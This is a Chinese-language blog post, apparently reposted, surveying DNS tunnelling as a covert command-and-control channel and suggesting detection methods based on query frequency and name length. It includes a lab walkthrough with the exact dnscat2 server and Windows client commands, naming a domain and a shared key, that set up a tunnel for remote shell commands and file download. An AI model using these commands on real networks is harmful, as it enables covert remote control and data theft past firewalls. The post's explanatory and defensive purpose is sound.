DNS Tunnel技术调研

DNS(Domain Name System,域名系统),因特网上作为域名和IP地址互相映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,最终得到该主机对应的IP地址的过程叫做域名解析(或主机名解析)。DNS协议使用的端口为53(TCP/UDP),一般在进行DNS解析的时候通常使用的是UDP协议,但是在主服务器向备服务器同步数据的时候通常使用的是TCP协议.


概括地讲,所谓 tunnel 就是把下一层(比如IPv4层)的包封装到上一层(比如 SSH,HTTP)或者同一层(比如IPv6层)的协议中进行传输,从而实现网络之间的穿透。很明显,这种实现有个前提,那就是:发送端和接收端必须各有一个解析这种包的程序或者内核模块才能实现正常通信。DNS隧道技术简单来说就是将网络流量封装成DNS流量,再通过DNS的正常走向将流量传出来.这里的流量封装通常由一个客户端来完成,而降封装的DNS流量还原成正常的流量将由一个服务端来完成.


  • 简介

攻击者通常会采用多种方式来进行权限的维持和对目标进行持久化访问.通常攻击者会通过正向连接或者反向连接这两种方式对目标进行控制,正向连接就是被攻击的机器主动连接攻击者控制端,例如:通常攻击者会在被黑的机器上监听某一个端口然后攻击者主动去连接这个端口,从而进行控制.还有一种方式是反向连接,反向连接就是被黑的机器主动连接控制端,这种方式比较灵活因此也是在当前攻击中运用的较多的一种方式.例如:MSF中的各种reverse shell,各种远控木马.本文介绍的DNS隧道技术就是类似于反弹shell的原理,DNS服务端接受来自于客户端的流量进行处理,客户端主动请求服务端DNS服务器进行通信,大致如下:




在复杂和较为安全的网络环境中,防守方对内部网络出去的流量是有严格的控制的,一般通过防火墙来实现,攻击者拿到内网机器的权限后如果想保持长久的对目标的控制并且不被发现,难度是比较大的,因为一些敏感操作(比如:执行命令、内部数据外传等)可能会触犯防火墙或者安全设备的规则,有时候拿下一台机器容易,但是长久控制就比较难.通过DNS隧道可以比较好的维持对目标的长期控制并且不易被发现.DNS隧道将所有流量进行封装,通过DNS请求传送出去,一般的安全设备和软件不会对DNS请求进行详细的检查,攻击者通过将payload加密隐藏在url中进行发送,DNS服务器递归查询,最终到达攻击者的服务端解密,服务端也可以下发指令给客户端,客户端解密之后执行控制端的命令.客户端会给服务端发送心跳包,以此来检测服务端是否有指令下发.对于一个企业来说,每天网络出去的DNS请求是很多的,如何才能从这些庞大的DNS请求中找出异常的DNS请求并且发现是一个比较困难的问题,当前对于DNS隧道的检测技术主要包括:

(1)流量分析;

(2)payload分析,而大多数的DNS隧道都已经把payload给加密了,所以当前用的比较多的是流量分析.例如:dnscat2每次的请求都会有一个不同的域名,而对于正常用户经常访问的网站(例如百度、腾讯等)的DNS请求一定是很多的,一天可能有上百万次,但是对于黑客控制的DNS隧道服务器,所使用的域名正常用户应该很少去访问,安全人员可以通过监控平台分析DNS请求的频率,低频率的要重点观察.并且,正常的DNS请求域名的长度一般不会太长,但是DNS隧道因为需要加密传输payload所以一般请求的域名长度较长例如dnscat2的payload长度为34位长一组,在窃取数据的场景中为了保证工具的传输速度,客户端会将数据分段放在url中,例如:




可以依据域名的长度去初步判断进行检测.




频次排序

  • DNS隧道实现

所需工具:dnscat2(地址: https://github.com/iagox86/dnscat2/)

域名:dnstunl.webappsec.xyz

Vps:阿里云vps一台

虚拟机:win7

Git clone https://github.com/iagox86/dnscat2/

Cd dnscat2

Bundle install

Cd server

之后运行dnscat2服务端,使用的域名为: dnstunl.webappsec.xyz

ruby dnscat2.rb -d domain=dnstunl.webappsec.xyz -c webs3c -u -k




其中的c是密钥,dnscat2会使用这个密钥对流量进行加密.

在虚拟机win7运行dnscat2客户端,dnscat2的客户端有编译好的版本,可从:https://downloads.skullsecurity.org/dnscat2/下载

输入: dnscat2-v0.07-client-win32.exe --dns domain=dnstunl.weba ppsec.xyz --secret webs3c




客户端成功和服务端进行连接,连接后首先要做的是测试一下客户端和服务端的连通性,dnscat2内置了一个叫ping-pong测试,可以通过ping命令来测试.连接成功之后可以直接通过服务端对客户端下指令,客户端执行,所有流量走DNS.dnscat提供了执行shell命令,被控机器本机文件下载等功能.

客户端和服务端进行通信的时候wireshark抓包的流量如下所示,dns请求涉及MX、CNAME、TXT




被攻击机器和C&C通信流量



C&C通道通过dns协议进行通信,数据加密之后放在dnstunl.webappsec.xyz前面.


  • 结语

DNS隧道对于攻击者来说是个好东西,目前已经有很多公开的或未公开的利用工具;对于防守方来说DNS隧道技术是比较头疼的,因为检测难活着即使可以检测但是仍然存在误差,例如前面的依据域名长度分析,攻击者完全可以调整策略,限制URL重的payload长度,只不过速度慢点而已,对于攻击来说隐蔽才是最重要.然而攻击者的简单策略调整,但是这一简单的变动对于防守方来说检测又是一个难题.本文只是对DNS隧道的一个简单理解与DNS隧道的实现及简单的检测方案,更深的层次还需要从实践中总结,有没有其他的检测思路!



猜你喜欢

转载自blog.csdn.net/itest_2016/article/details/79350764
DNS
今日推荐